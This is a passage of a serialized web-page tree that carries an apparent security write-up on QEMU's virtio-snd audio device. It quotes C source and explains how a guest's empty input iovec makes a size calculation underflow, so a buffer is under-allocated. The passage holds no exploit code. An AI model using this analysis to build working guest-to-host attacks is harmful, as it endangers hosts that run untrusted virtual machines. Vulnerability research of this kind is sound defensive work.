*/\n",{"type":23,"tag":213,"props":123883,"children":123884},{"class":215,"line":655},[123885,123889,123893,123898,123903,123907,123912,123917,123921,123926],{"type":23,"tag":213,"props":123886,"children":123887},{"style":230},[123888],{"type":28,"value":51097},{"type":23,"tag":213,"props":123890,"children":123891},{"style":230},[123892],{"type":28,"value":51102},{"type":23,"tag":213,"props":123894,"children":123895},{"style":257},[123896],{"type":28,"value":123897}," virtio_snd_handle_rx_xfer",{"type":23,"tag":213,"props":123899,"children":123900},{"style":220},[123901],{"type":28,"value":123902},"(VirtIODevice ",{"type":23,"tag":213,"props":123904,"children":123905},{"style":274},[123906],{"type":28,"value":1696},{"type":23,"tag":213,"props":123908,"children":123909},{"style":268},[123910],{"type":28,"value":123911},"vdev",{"type":23,"tag":213,"props":123913,"children":123914},{"style":220},[123915],{"type":28,"value":123916},", VirtQueue ",{"type":23,"tag":213,"props":123918,"children":123919},{"style":274},[123920],{"type":28,"value":1696},{"type":23,"tag":213,"props":123922,"children":123923},{"style":268},[123924],{"type":28,"value":123925},"vq",{"type":23,"tag":213,"props":123927,"children":123928},{"style":220},[123929],{"type":28,"value":2183},{"type":23,"tag":213,"props":123931,"children":123932},{"class":215,"line":1176},[123933],{"type":23,"tag":213,"props":123934,"children":123935},{"style":220},[123936],{"type":28,"value":10964},{"type":23,"tag":213,"props":123938,"children":123939},{"class":215,"line":1202},[123940,123945,123949],{"type":23,"tag":213,"props":123941,"children":123942},{"style":220},[123943],{"type":28,"value":123944}," VirtQueueElement ",{"type":23,"tag":213,"props":123946,"children":123947},{"style":274},[123948],{"type":28,"value":1696},{"type":23,"tag":213,"props":123950,"children":123951},{"style":220},[123952],{"type":28,"value":123953},"elem;\n",{"type":23,"tag":213,"props":123955,"children":123956},{"class":215,"line":1758},[123957],{"type":23,"tag":213,"props":123958,"children":123959},{"style":220},[123960],{"type":28,"value":104854},{"type":23,"tag":213,"props":123962,"children":123963},{"class":215,"line":1767},[123964],{"type":23,"tag":213,"props":123965,"children":123966},{"emptyLinePlaceholder":18},[123967],{"type":28,"value":530},{"type":23,"tag":213,"props":123969,"children":123970},{"class":215,"line":1789},[123971,123975],{"type":23,"tag":213,"props":123972,"children":123973},{"style":1362},[123974],{"type":28,"value":3131},{"type":23,"tag":213,"props":123976,"children":123977},{"style":220},[123978],{"type":28,"value":123979}," (;;) {\n",{"type":23,"tag":213,"props":123981,"children":123982},{"class":215,"line":1812},[123983,123988,123992],{"type":23,"tag":213,"props":123984,"children":123985},{"style":220},[123986],{"type":28,"value":123987}," VirtIOSoundPCMStream ",{"type":23,"tag":213,"props":123989,"children":123990},{"style":274},[123991],{"type":28,"value":1696},{"type":23,"tag":213,"props":123993,"children":123994},{"style":220},[123995],{"type":28,"value":123996},"stream;\n",{"type":23,"tag":213,"props":123998,"children":123999},{"class":215,"line":1838},[124000],{"type":23,"tag":213,"props":124001,"children":124002},{"emptyLinePlaceholder":18},[124003],{"type":28,"value":530},{"type":23,"tag":213,"props":124005,"children":124006},{"class":215,"line":1851},[124007,124012,124016,124021,124026,124030,124035],{"type":23,"tag":213,"props":124008,"children":124009},{"style":220},[124010],{"type":28,"value":124011}," elem ",{"type":23,"tag":213,"props":124013,"children":124014},{"style":274},[124015],{"type":28,"value":3190},{"type":23,"tag":213,"props":124017,"children":124018},{"style":257},[124019],{"type":28,"value":124020}," virtqueue_pop",{"type":23,"tag":213,"props":124022,"children":124023},{"style":220},[124024],{"type":28,"value":124025},"(vq, ",{"type":23,"tag":213,"props":124027,"children":124028},{"style":230},[124029],{"type":28,"value":55381},{"type":23,"tag":213,"props":124031,"children":124032},{"style":220},[124033],{"type":28,"value":124034},"(VirtQueueElement));",{"type":23,"tag":213,"props":124036,"children":124037},{"style":537},[124038],{"type":28,"value":124039}," // [1]\n",{"type":23,"tag":213,"props":124041,"children":124042},{"class":215,"line":1864},[124043,124047,124051,124055],{"type":23,"tag":213,"props":124044,"children":124045},{"style":1362},[124046],{"type":28,"value":3369},{"type":23,"tag":213,"props":124048,"children":124049},{"style":220},[124050],{"type":28,"value":400},{"type":23,"tag":213,"props":124052,"children":124053},{"style":274},[124054],{"type":28,"value":20675},{"type":23,"tag":213,"props":124056,"children":124057},{"style":220},[124058],{"type":28,"value":124059},"elem) {\n",{"type":23,"tag":213,"props":124061,"children":124062},{"class":215,"line":1890},[124063,124067],{"type":23,"tag":213,"props":124064,"children":124065},{"style":1362},[124066],{"type":28,"value":3395},{"type":23,"tag":213,"props":124068,"children":124069},{"style":220},[124070],{"type":28,"value":313},{"type":23,"tag":213,"props":124072,"children":124073},{"class":215,"line":1899},[124074],{"type":23,"tag":213,"props":124075,"children":124076},{"style":220},[124077],{"type":28,"value":3444},{"type":23,"tag":213,"props":124079,"children":124080},{"class":215,"line":1912},[124081],{"type":23,"tag":213,"props":124082,"children":124083},{"emptyLinePlaceholder":18},[124084],{"type":28,"value":530},{"type":23,"tag":213,"props":124086,"children":124087},{"class":215,"line":1921},[124088],{"type":23,"tag":213,"props":124089,"children":124090},{"style":220},[124091],{"type":28,"value":124092}," [...]\n",{"type":23,"tag":213,"props":124094,"children":124095},{"class":215,"line":3879},[124096],{"type":23,"tag":213,"props":124097,"children":124098},{"emptyLinePlaceholder":18},[124099],{"type":28,"value":530},{"type":23,"tag":213,"props":124101,"children":124102},{"class":215,"line":3887},[124103,124108,124112,124116,124120,124124,124129],{"type":23,"tag":213,"props":124104,"children":124105},{"style":257},[124106],{"type":28,"value":124107}," WITH_QEMU_LOCK_GUARD",{"type":23,"tag":213,"props":124109,"children":124110},{"style":220},[124111],{"type":28,"value":265},{"type":23,"tag":213,"props":124113,"children":124114},{"style":274},[124115],{"type":28,"value":405},{"type":23,"tag":213,"props":124117,"children":124118},{"style":268},[124119],{"type":28,"value":36319},{"type":23,"tag":213,"props":124121,"children":124122},{"style":220},[124123],{"type":28,"value":303},{"type":23,"tag":213,"props":124125,"children":124126},{"style":268},[124127],{"type":28,"value":124128},"queue_mutex",{"type":23,"tag":213,"props":124130,"children":124131},{"style":220},[124132],{"type":28,"value":14870},{"type":23,"tag":213,"props":124134,"children":124135},{"class":215,"line":3918},[124136,124141,124145,124150,124154,124158,124162,124167,124171,124175,124179,124184,124188],{"type":23,"tag":213,"props":124137,"children":124138},{"style":220},[124139],{"type":28,"value":124140}," size ",{"type":23,"tag":213,"props":124142,"children":124143},{"style":274},[124144],{"type":28,"value":3190},{"type":23,"tag":213,"props":124146,"children":124147},{"style":257},[124148],{"type":28,"value":124149}," iov_size",{"type":23,"tag":213,"props":124151,"children":124152},{"style":220},[124153],{"type":28,"value":265},{"type":23,"tag":213,"props":124155,"children":124156},{"style":268},[124157],{"type":28,"value":52117},{"type":23,"tag":213,"props":124159,"children":124160},{"style":220},[124161],{"type":28,"value":303},{"type":23,"tag":213,"props":124163,"children":124164},{"style":268},[124165],{"type":28,"value":124166},"in_sg",{"type":23,"tag":213,"props":124168,"children":124169},{"style":220},[124170],{"type":28,"value":424},{"type":23,"tag":213,"props":124172,"children":124173},{"style":268},[124174],{"type":28,"value":52117},{"type":23,"tag":213,"props":124176,"children":124177},{"style":220},[124178],{"type":28,"value":303},{"type":23,"tag":213,"props":124180,"children":124181},{"style":268},[124182],{"type":28,"value":124183},"in_num",{"type":23,"tag":213,"props":124185,"children":124186},{"style":220},[124187],{"type":28,"value":298},{"type":23,"tag":213,"props":124189,"children":124190},{"style":274},[124191],{"type":28,"value":50914},{"type":23,"tag":213,"props":124193,"children":124194},{"class":215,"line":3926},[124195,124200,124205],{"type":23,"tag":213,"props":124196,"children":124197},{"style":230},[124198],{"type":28,"value":124199}," sizeof",{"type":23,"tag":213,"props":124201,"children":124202},{"style":220},[124203],{"type":28,"value":124204},"(virtio_snd_pcm_status);",{"type":23,"tag":213,"props":124206,"children":124207},{"style":537},[124208],{"type":28,"value":124209}," // [2]\n",{"type":23,"tag":213,"props":124211,"children":124212},{"class":215,"line":3986},[124213,124218,124222,124227,124231,124235,124240,124244],{"type":23,"tag":213,"props":124214,"children":124215},{"style":220},[124216],{"type":28,"value":124217}," buffer ",{"type":23,"tag":213,"props":124219,"children":124220},{"style":274},[124221],{"type":28,"value":3190},{"type":23,"tag":213,"props":124223,"children":124224},{"style":257},[124225],{"type":28,"value":124226}," g_malloc0",{"type":23,"tag":213,"props":124228,"children":124229},{"style":220},[124230],{"type":28,"value":265},{"type":23,"tag":213,"props":124232,"children":124233},{"style":230},[124234],{"type":28,"value":55381},{"type":23,"tag":213,"props":124236,"children":124237},{"style":220},[124238],{"type":28,"value":124239},"(VirtIOSoundPCMBuffer) ",{"type":23,"tag":213,"props":124241,"children":124242},{"style":274},[124243],{"type":28,"value":2703},{"type":23,"tag":213,"props":124245,"children":124246},{"style":220},[124247],{"type":28,"value":124248}," size);\n",{"type":23,"tag":213,"props":124250,"children":124251},{"class":215,"line":9132},[124252,124257,124261,124265,124269],{"type":23,"tag":213,"props":124253,"children":124254},{"style":268},[124255],{"type":28,"value":124256}," buffer",{"type":23,"tag":213,"props":124258,"children":124259},{"style":220},[124260],{"type":28,"value":303},{"type":23,"tag":213,"props":124262,"children":124263},{"style":268},[124264],{"type":28,"value":52117},{"type":23,"tag":213,"props":124266,"children":124267},{"style":274},[124268],{"type":28,"value":511},{"type":23,"tag":213,"props":124270,"children":124271},{"style":220},[124272],{"type":28,"value":124273}," elem;\n",{"type":23,"tag":213,"props":124275,"children":124276},{"class":215,"line":9150},[124277,124281,124285,124289,124293],{"type":23,"tag":213,"props":124278,"children":124279},{"style":268},[124280],{"type":28,"value":124256},{"type":23,"tag":213,"props":124282,"children":124283},{"style":220},[124284],{"type":28,"value":303},{"type":23,"tag":213,"props":124286,"children":124287},{"style":268},[124288],{"type":28,"value":123925},{"type":23,"tag":213,"props":124290,"children":124291},{"style":274},[124292],{"type":28,"value":511},{"type":23,"tag":213,"props":124294,"children":124295},{"style":220},[124296],{"type":28,"value":124297}," vq;\n",{"type":23,"tag":213,"props":124299,"children":124300},{"class":215,"line":9195},[124301,124305,124309,124314,124318,124322],{"type":23,"tag":213,"props":124302,"children":124303},{"style":268},[124304],{"type":28,"value":124256},{"type":23,"tag":213,"props":124306,"children":124307},{"style":220},[124308],{"type":28,"value":303},{"type":23,"tag":213,"props":124310,"children":124311},{"style":268},[124312],{"type":28,"value":124313},"size",{"type":23,"tag":213,"props":124315,"children":124316},{"style":274},[124317],{"type":28,"value":511},{"type":23,"tag":213,"props":124319,"children":124320},{"style":514},[124321],{"type":28,"value":517},{"type":23,"tag":213,"props":124323,"children":124324},{"style":220},[124325],{"type":28,"value":313},{"type":23,"tag":213,"props":124327,"children":124328},{"class":215,"line":9301},[124329,124333,124337,124341,124345,124349],{"type":23,"tag":213,"props":124330,"children":124331},{"style":268},[124332],{"type":28,"value":124256},{"type":23,"tag":213,"props":124334,"children":124335},{"style":220},[124336],{"type":28,"value":303},{"type":23,"tag":213,"props":124338,"children":124339},{"style":268},[124340],{"type":28,"value":614},{"type":23,"tag":213,"props":124342,"children":124343},{"style":274},[124344],{"type":28,"value":511},{"type":23,"tag":213,"props":124346,"children":124347},{"style":514},[124348],{"type":28,"value":517},{"type":23,"tag":213,"props":124350,"children":124351},{"style":220},[124352],{"type":28,"value":313},{"type":23,"tag":213,"props":124354,"children":124355},{"class":215,"line":23557},[124356,124361,124365,124369,124373,124377,124382,124387],{"type":23,"tag":213,"props":124357,"children":124358},{"style":257},[124359],{"type":28,"value":124360}," QSIMPLEQ_INSERT_TAIL",{"type":23,"tag":213,"props":124362,"children":124363},{"style":220},[124364],{"type":28,"value":265},{"type":23,"tag":213,"props":124366,"children":124367},{"style":274},[124368],{"type":28,"value":405},{"type":23,"tag":213,"props":124370,"children":124371},{"style":268},[124372],{"type":28,"value":36319},{"type":23,"tag":213,"props":124374,"children":124375},{"style":220},[124376],{"type":28,"value":303},{"type":23,"tag":213,"props":124378,"children":124379},{"style":268},[124380],{"type":28,"value":124381},"queue",{"type":23,"tag":213,"props":124383,"children":124384},{"style":220},[124385],{"type":28,"value":124386},", buffer, entry);",{"type":23,"tag":213,"props":124388,"children":124389},{"style":537},[124390],{"type":28,"value":52682},{"type":23,"tag":213,"props":124392,"children":124393},{"class":215,"line":23592},[124394],{"type":23,"tag":213,"props":124395,"children":124396},{"style":220},[124397],{"type":28,"value":3444},{"type":23,"tag":213,"props":124399,"children":124400},{"class":215,"line":23600},[124401,124406],{"type":23,"tag":213,"props":124402,"children":124403},{"style":1362},[124404],{"type":28,"value":124405}," continue",{"type":23,"tag":213,"props":124407,"children":124408},{"style":220},[124409],{"type":28,"value":313},{"type":23,"tag":213,"props":124411,"children":124412},{"class":215,"line":23608},[124413],{"type":23,"tag":213,"props":124414,"children":124415},{"emptyLinePlaceholder":18},[124416],{"type":28,"value":530},{"type":23,"tag":213,"props":124418,"children":124419},{"class":215,"line":23617},[124420],{"type":23,"tag":213,"props":124421,"children":124422},{"style":220},[124423],{"type":28,"value":124092},{"type":23,"tag":213,"props":124425,"children":124426},{"class":215,"line":23659},[124427],{"type":23,"tag":213,"props":124428,"children":124429},{"style":220},[124430],{"type":28,"value":1208},{"type":23,"tag":24,"props":124432,"children":124433},{},[124434,124436,124442,124444,124450,124452,124457,124458,124464],{"type":28,"value":124435},"At ",{"type":23,"tag":209,"props":124437,"children":124439},{"className":124438},[],[124440],{"type":28,"value":124441},"[1]",{"type":28,"value":124443},", a ",{"type":23,"tag":209,"props":124445,"children":124447},{"className":124446},[],[124448],{"type":28,"value":124449},"VirtQueueElement *elem",{"type":28,"value":124451}," is popped from the virtqueue. It contains the ",{"type":23,"tag":209,"props":124453,"children":124455},{"className":124454},[],[124456],{"type":28,"value":124166},{"type":28,"value":1466},{"type":23,"tag":209,"props":124459,"children":124461},{"className":124460},[],[124462],{"type":28,"value":124463},"out_sg",{"type":28,"value":124465}," iovecs that describe the guest request, and is therefore fully guest-controlled.",{"type":23,"tag":24,"props":124467,"children":124468},{},[124469,124471,124477,124479,124485,124487,124493,124495,124501,124503,124509],{"type":28,"value":124470},"Further at ",{"type":23,"tag":209,"props":124472,"children":124474},{"className":124473},[],[124475],{"type":28,"value":124476},"[2]",{"type":28,"value":124478},", the device computes the size of the data buffer as ",{"type":23,"tag":209,"props":124480,"children":124482},{"className":124481},[],[124483],{"type":28,"value":124484},"iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status)",{"type":28,"value":124486},". That value is then used in the allocation: ",{"type":23,"tag":209,"props":124488,"children":124490},{"className":124489},[],[124491],{"type":28,"value":124492},"g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size)",{"type":28,"value":124494},". Finally, at ",{"type":23,"tag":209,"props":124496,"children":124498},{"className":124497},[],[124499],{"type":28,"value":124500},"[3]",{"type":28,"value":124502},", the newly allocated buffer is appended to the ",{"type":23,"tag":209,"props":124504,"children":124506},{"className":124505},[],[124507],{"type":28,"value":124508},"stream->queue",{"type":28,"value":124510}," linked list.",{"type":23,"tag":24,"props":124512,"children":124513},{},[124514,124516,124521,124523,124528,124530,124535,124537,124543],{"type":28,"value":124515},"Because both the ",{"type":23,"tag":209,"props":124517,"children":124519},{"className":124518},[],[124520],{"type":28,"value":124166},{"type":28,"value":124522}," iovec and the ",{"type":23,"tag":209,"props":124524,"children":124526},{"className":124525},[],[124527],{"type":28,"value":124183},{"type":28,"value":124529}," field are guest-controlled, and there is no check that the total ",{"type":23,"tag":209,"props":124531,"children":124533},{"className":124532},[],[124534],{"type":28,"value":124166},{"type":28,"value":124536}," size is at least ",{"type":23,"tag":209,"props":124538,"children":124540},{"className":124539},[],[124541],{"type":28,"value":124542},"sizeof(virtio_snd_pcm_status)",{"type":28,"value":124544},", this calculation can underflow if the guest provides a smaller input buffer - that gives us our first bug.",{"type":23,"tag":24,"props":124546,"children":124547},{},[124548,124550,124555,124557,124563,124565,124571,124573,124579],{"type":28,"value":124549},"From the guest driver, we can provide an empty ",{"type":23,"tag":209,"props":124551,"children":124553},{"className":124552},[],[124554],{"type":28,"value":124166},{"type":28,"value":124556}," iovec. In that case, the calculation becomes ",{"type":23,"tag":209,"props":124558,"children":124560},{"className":124559},[],[124561],{"type":28,"value":124562},"0 - sizeof(virtio_snd_pcm_status)",{"type":28,"value":124564},", so the allocation size effectively becomes ",{"type":23,"tag":209,"props":124566,"children":124568},{"className":124567},[],[124569],{"type":28,"value":124570},"sizeof(VirtIOSoundPCMBuffer) - 8",{"type":28,"value":124572},". Given the definition of ",{"type":23,"tag":209,"props":124574,"children":124576},{"className":124575},[],[124577],{"type":28,"value":124578},"VirtIOSoundPCMBuffer",{"type":28,"value":277},{"type":23,"tag":202,"props":124581,"children":124583},{"code":124582,"language":3244,"meta":7,"className":16566,"style":7},"struct VirtIOSoundPCMBuffer {\n QSIMPLEQ_ENTRY(VirtIOSoundPCMBuffer) entry;\n VirtQueueElement *elem;\n VirtQueue *vq;\n size_t size;\n uint64_t offset;\n /* Used for the TX queue for lazy I/O copy from `elem` */\n bool populated;\n uint8_t data[];\n};\n",[124584],{"type":23,"tag":209,"props":124585,"children":124586},{"__ignoreMap":7},[124587,124599,124612,124627,124644,124656,124668,124676,124688,124708],{"type":23,"tag":213,"props":124588,"children":124589},{"class":215,"line":216},[124590,124594],{"type":23,"tag":213,"props":124591,"children":124592},{"style":230},[124593],{"type":28,"value":9486},{"type":23,"tag":213,"props":124595,"children":124596},{"style":220},[124597],{"type":28,"value":124598}," VirtIOSoundPCMBuffer {\n",{"type":23,"tag":213,"props":124600,"children":124601},{"class":215,"line":226},[124602,124607],{"type":23,"tag":213,"props":124603,"children":124604},{"style":257},[124605],{"type":28,"value":124606}," QSIMPLEQ_ENTRY",{"type":23,"tag":213,"props":124608,"children":124609},{"style":220},[124610],{"type":28,"value":124611},"(VirtIOSoundPCMBuffer) entry;\n",{"type":23,"tag":213,"props":124613,"children":124614},{"class":215,"line":524},[124615,124619,124623],{"type":23,"tag":213,"props":124616,"children":124617},{"style":220},[124618],{"type":28,"value":123944},{"type":23,"tag":213,"props":124620,"children":124621},{"style":274},[124622],{"type":28,"value":1696},{"type":23,"tag":213,"props":124624,"children":124625},{"style":220},[124626],{"type":28,"value":123953},{"type":23,"tag":213,"props":124628,"children":124629},{"class":215,"line":533},[124630,124635,124639],{"type":23,"tag":213,"props":124631,"children":124632},{"style":220},[124633],{"type":28,"value":124634}," VirtQueue ",{"type":23,"tag":213,"props":124636,"children":124637},{"style":274},[124638],{"type":28,"value":1696},{"type":23,"tag":213,"props":124640,"children":124641},{"style":220},[124642],{"type":28,"value":124643},"vq;\n",{"type":23,"tag":213,"props":124645,"children":124646},{"class":215,"line":543},[124647,124651],{"type":23,"tag":213,"props":124648,"children":124649},{"style":230},[124650],{"type":28,"value":16616},{"type":23,"tag":213,"props":124652,"children":124653},{"style":220},[124654],{"type":28,"value":124655}," size;\n",{"type":23,"tag":213,"props":124657,"children":124658},{"class":215,"line":551},[124659,124663],{"type":23,"tag":213,"props":124660,"children":124661},{"style":230},[124662],{"type":28,"value":55665},{"type":23,"tag":213,"props":124664,"children":124665},{"style":220},[124666],{"type":28,"value":124667}," offset;\n",{"type":23,"tag":213,"props":124669,"children":124670},{"class":215,"line":570},[124671],{"type":23,"tag":213,"props":124672,"children":124673},{"style":537},[124674],{"type":28,"value":124675}," /* Used for the TX queue for lazy I/O copy from `elem` */\n",{"type":23,"tag":213,"props":124677,"children":124678},{"class":215,"line":655},[124679,124683],{"type":23,"tag":213,"props":124680,"children":124681},{"style":230},[124682],{"type":28,"value":46524},{"type":23,"tag":213,"props":124684,"children":124685},{"style":220},[124686],{"type":28,"value":124687}," populated;\n",{"type":23,"tag":213,"props":124689,"children":124690},{"class":215,"line":1176},[124691,124695,124699,124704],{"type":23,"tag":213,"props":124692,"children":124693},{"style":230},[124694],{"type":28,"value":58510},{"type":23,"tag":213,"props":124696,"children":124697},{"style":220},[124698],{"type":28,"value":1064},{"type":23,"tag":213,"props":124700,"children":124701},{"style":230},[124702],{"type":28,"value":124703},"[]",{"type":23,"tag":213,"props":124705,"children":124706},{"style":220},[124707],{"type":28,"value":313},{"type":23,"tag":213,"props":124709,"children":124710},{"class":215,"line":1202},[124711],{"type":23,"tag":213,"props":124712,"children":124713},{"style":220},[124714],{"type":28,"value":16629},{"type":23,"tag":24,"props":124716,"children":124717},{},[124718,124720,124726,124728,124733,124735,124740,124742,124747,124749,124754,124756,124762],{"type":28,"value":124719},"That under-allocation removes the ",{"type":23,"tag":209,"props":124721,"children":124723},{"className":124722},[],[124724],{"type":28,"value":124725},"populated",{"type":28,"value":124727}," field along with the variable-sized ",{"type":23,"tag":209,"props":124729,"children":124731},{"className":124730},[],[124732],{"type":28,"value":3791},{"type":28,"value":124734}," array. As the comment says, ",{"type":23,"tag":209,"props":124736,"children":124738},{"className":124737},[],[124739],{"type":28,"value":124725},{"type":28,"value":124741}," is only relevant to the TX path and is not used for audio input. However, by making the iovec size ",{"type":23,"tag":209,"props":124743,"children":124745},{"className":124744},[],[124746],{"type":28,"value":4106},{"type":28,"value":124748},", the device believes data should be ",{"type":23,"tag":209,"props":124750,"children":124752},{"className":124751},[],[124753],{"type":28,"value":4106},{"type":28,"value":124755}," byte, while the actual allocation is ",{"type":23,"tag":209,"props":124757,"children":124759},{"className":124758},[],[124760],{"type":28,"value":124761},"sizeof(VirtIOSoundPCMBuffer) - 7",{"type":28,"value":124},{"type":23,"tag":18945,"props":124764,"children":124766},{"id":124765},"populating-data-buffers",[124767],{"type":28,"value":124768},"Populating Data Buffers",{"type":23,"tag":24,"props":124770,"children":124771},{},[124772],{"type":28,"value":124773},"Let's take a look at how the allocated data buffer for the input stream is filled:",{"type":23,"tag":202,"props":124775,"children":124777},{"code":124776,"language":3244,"meta":7,"className":16566,"style":7},"/*\n * AUD_* input callback.\n *\n * @data: VirtIOSoundPCMStream stream\n * @available: number of bytes that can be read with AUD_read()\n */\nstatic void virtio_snd_pcm_in_cb(void *data, int available)\n{\n VirtIOSoundPCMStream *stream = data;\n VirtIOSoundPCMBuffer *buffer;\n size_t size, max_size;\n\n WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n while (!QSIMPLEQ_EMPTY(&stream->queue)) {\n buffer = QSIMPLEQ_FIRST(&stream->queue);\n\n [...]\n\n max_size = iov_size( // [1]\n buffer->elem->in_sg,\n buffer->elem->in_num\n );\n for (;;) {\n if (buffer->size >= max_size) { // [2]\n return_rx_buffer(stream, buffer);\n break;\n }\n size = AUD_read(stream->voice.in,\n buffer->data + buffer->size,\n MIN(available, (stream->params.period_bytes - // [3]\n buffer->size)));\n if (!size) {\n available = 0;\n break;\n }\n buffer->size += size;\n available -= size;\n [...]\n }\n }\n }\n}\n",[124778],{"type":23,"tag":209,"props":124779,"children":124780},{"__ignoreMap":7},[124781,124788,124796,124803,124811,124819,124826,124875,124882,124908,124925,124937,124944,124976,125021,125061,125068,125076,125083,125108,125136,125160,125168,125180,125218,125231,125243,125250,125296,125333,125376,125397,125417,125437,125448,125455,125478,125494,125502,125509,125516,125523],{"type":23,"tag":213,"props":124782,"children":124783},{"class":215,"line":216},[124784],{"type":23,"tag":213,"props":124785,"children":124786},{"style":537},[124787],{"type":28,"value":49418},{"type":23,"tag":213,"props":124789,"children":124790},{"class":215,"line":226},[124791],{"type":23,"tag":213,"props":124792,"children":124793},{"style":537},[124794],{"type":28,"value":124795}," * AUD_* input callback.\n",{"type":23,"tag":213,"props":124797,"children":124798},{"class":215,"line":524},[124799],{"type":23,"tag":213,"props":124800,"children":124801},{"style":537},[124802],{"type":28,"value":19542},{"type":23,"tag":213,"props":124804,"children":124805},{"class":215,"line":533},[124806],{"type":23,"tag":213,"props":124807,"children":124808},{"style":537},[124809],{"type":28,"value":124810}," * @data: VirtIOSoundPCMStream stream\n",{"type":23,"tag":213,"props":124812,"children":124813},{"class":215,"line":543},[124814],{"type":23,"tag":213,"props":124815,"children":124816},{"style":537},[124817],{"type":28,"value":124818}," * @available: number of bytes that can be read with AUD_read()\n",{"type":23,"tag":213,"props":124820,"children":124821},{"class":215,"line":551},[124822],{"type":23,"tag":213,"props":124823,"children":124824},{"style":537},[124825],{"type":28,"value":123881},{"type":23,"tag":213,"props":124827,"children":124828},{"class":215,"line":570},[124829,124833,124837,124842,124846,124850,124854,124858,124862,124866,124871],{"type":23,"tag":213,"props":124830,"children":124831},{"style":230},[124832],{"type":28,"value":51097},{"type":23,"tag":213,"props":124834,"children":124835},{"style":230},[124836],{"type":28,"value":51102},{"type":23,"tag":213,"props":124838,"children":124839},{"style":257},[124840],{"type":28,"value":124841}," virtio_snd_pcm_in_cb",{"type":23,"tag":213,"props":124843,"children":124844},{"style":220},[124845],{"type":28,"value":265},{"type":23,"tag":213,"props":124847,"children":124848},{"style":230},[124849],{"type":28,"value":51680},{"type":23,"tag":213,"props":124851,"children":124852},{"style":274},[124853],{"type":28,"value":282},{"type":23,"tag":213,"props":124855,"children":124856},{"style":268},[124857],{"type":28,"value":3791},{"type":23,"tag":213,"props":124859,"children":124860},{"style":220},[124861],{"type":28,"value":424},{"type":23,"tag":213,"props":124863,"children":124864},{"style":230},[124865],{"type":28,"value":19100},{"type":23,"tag":213,"props":124867,"children":124868},{"style":268},[124869],{"type":28,"value":124870}," available",{"type":23,"tag":213,"props":124872,"children":124873},{"style":220},[124874],{"type":28,"value":2183},{"type":23,"tag":213,"props":124876,"children":124877},{"class":215,"line":655},[124878],{"type":23,"tag":213,"props":124879,"children":124880},{"style":220},[124881],{"type":28,"value":10964},{"type":23,"tag":213,"props":124883,"children":124884},{"class":215,"line":1176},[124885,124890,124894,124899,124903],{"type":23,"tag":213,"props":124886,"children":124887},{"style":220},[124888],{"type":28,"value":124889}," VirtIOSoundPCMStream ",{"type":23,"tag":213,"props":124891,"children":124892},{"style":274},[124893],{"type":28,"value":1696},{"type":23,"tag":213,"props":124895,"children":124896},{"style":220},[124897],{"type":28,"value":124898},"stream ",{"type":23,"tag":213,"props":124900,"children":124901},{"style":274},[124902],{"type":28,"value":3190},{"type":23,"tag":213,"props":124904,"children":124905},{"style":220},[124906],{"type":28,"value":124907}," data;\n",{"type":23,"tag":213,"props":124909,"children":124910},{"class":215,"line":1202},[124911,124916,124920],{"type":23,"tag":213,"props":124912,"children":124913},{"style":220},[124914],{"type":28,"value":124915}," VirtIOSoundPCMBuffer ",{"type":23,"tag":213,"props":124917,"children":124918},{"style":274},[124919],{"type":28,"value":1696},{"type":23,"tag":213,"props":124921,"children":124922},{"style":220},[124923],{"type":28,"value":124924},"buffer;\n",{"type":23,"tag":213,"props":124926,"children":124927},{"class":215,"line":1758},[124928,124932],{"type":23,"tag":213,"props":124929,"children":124930},{"style":230},[124931],{"type":28,"value":16616},{"type":23,"tag":213,"props":124933,"children":124934},{"style":220},[124935],{"type":28,"value":124936}," size, max_size;\n",{"type":23,"tag":213,"props":124938,"children":124939},{"class":215,"line":1767},[124940],{"type":23,"tag":213,"props":124941,"children":124942},{"emptyLinePlaceholder":18},[124943],{"type":28,"value":530},{"type":23,"tag":213,"props":124945,"children":124946},{"class":215,"line":1789},[124947,124952,124956,124960,124964,124968,124972],{"type":23,"tag":213,"props":124948,"children":124949},{"style":257},[124950],{"type":28,"value":124951}," WITH_QEMU_LOCK_GUARD",{"type":23,"tag":213,"props":124953,"children":124954},{"style":220},[124955],{"type":28,"value":265},{"type":23,"tag":213,"props":124957,"children":124958},{"style":274},[124959],{"type":28,"value":405},{"type":23,"tag":213,"props":124961,"children":124962},{"style":268},[124963],{"type":28,"value":36319},{"type":23,"tag":213,"props":124965,"children":124966},{"style":220},[124967],{"type":28,"value":303},{"type":23,"tag":213,"props":124969,"children":124970},{"style":268},[124971],{"type":28,"value":124128},{"type":23,"tag":213,"props":124973,"children":124974},{"style":220},[124975],{"type":28,"value":14870},{"type":23,"tag":213,"props":124977,"children":124978},{"class":215,"line":1812},[124979,124984,124988,124992,124997,125001,125005,125009,125013,125017],{"type":23,"tag":213,"props":124980,"children":124981},{"style":1362},[124982],{"type":28,"value":124983}," while",{"type":23,"tag":213,"props":124985,"children":124986},{"style":220},[124987],{"type":28,"value":400},{"type":23,"tag":213,"props":124989,"children":124990},{"style":274},[124991],{"type":28,"value":20675},{"type":23,"tag":213,"props":124993,"children":124994},{"style":257},[124995],{"type":28,"value":124996},"QSIMPLEQ_EMPTY",{"type":23,"tag":213,"props":124998,"children":124999},{"style":220},[125000],{"type":28,"value":265},{"type":23,"tag":213,"props":125002,"children":125003},{"style":274},[125004],{"type":28,"value":405},{"type":23,"tag":213,"props":125006,"children":125007},{"style":268},[125008],{"type":28,"value":36319},{"type":23,"tag":213,"props":125010,"children":125011},{"style":220},[125012],{"type":28,"value":303},{"type":23,"tag":213,"props":125014,"children":125015},{"style":268},[125016],{"type":28,"value":124381},{"type":23,"tag":213,"props":125018,"children":125019},{"style":220},[125020],{"type":28,"value":35251},{"type":23,"tag":213,"props":125022,"children":125023},{"class":215,"line":1838},[125024,125028,125032,125037,125041,125045,125049,125053,125057],{"type":23,"tag":213,"props":125025,"children":125026},{"style":220},[125027],{"type":28,"value":124217},{"type":23,"tag":213,"props":125029,"children":125030},{"style":274},[125031],{"type":28,"value":3190},{"type":23,"tag":213,"props":125033,"children":125034},{"style":257},[125035],{"type":28,"value":125036}," 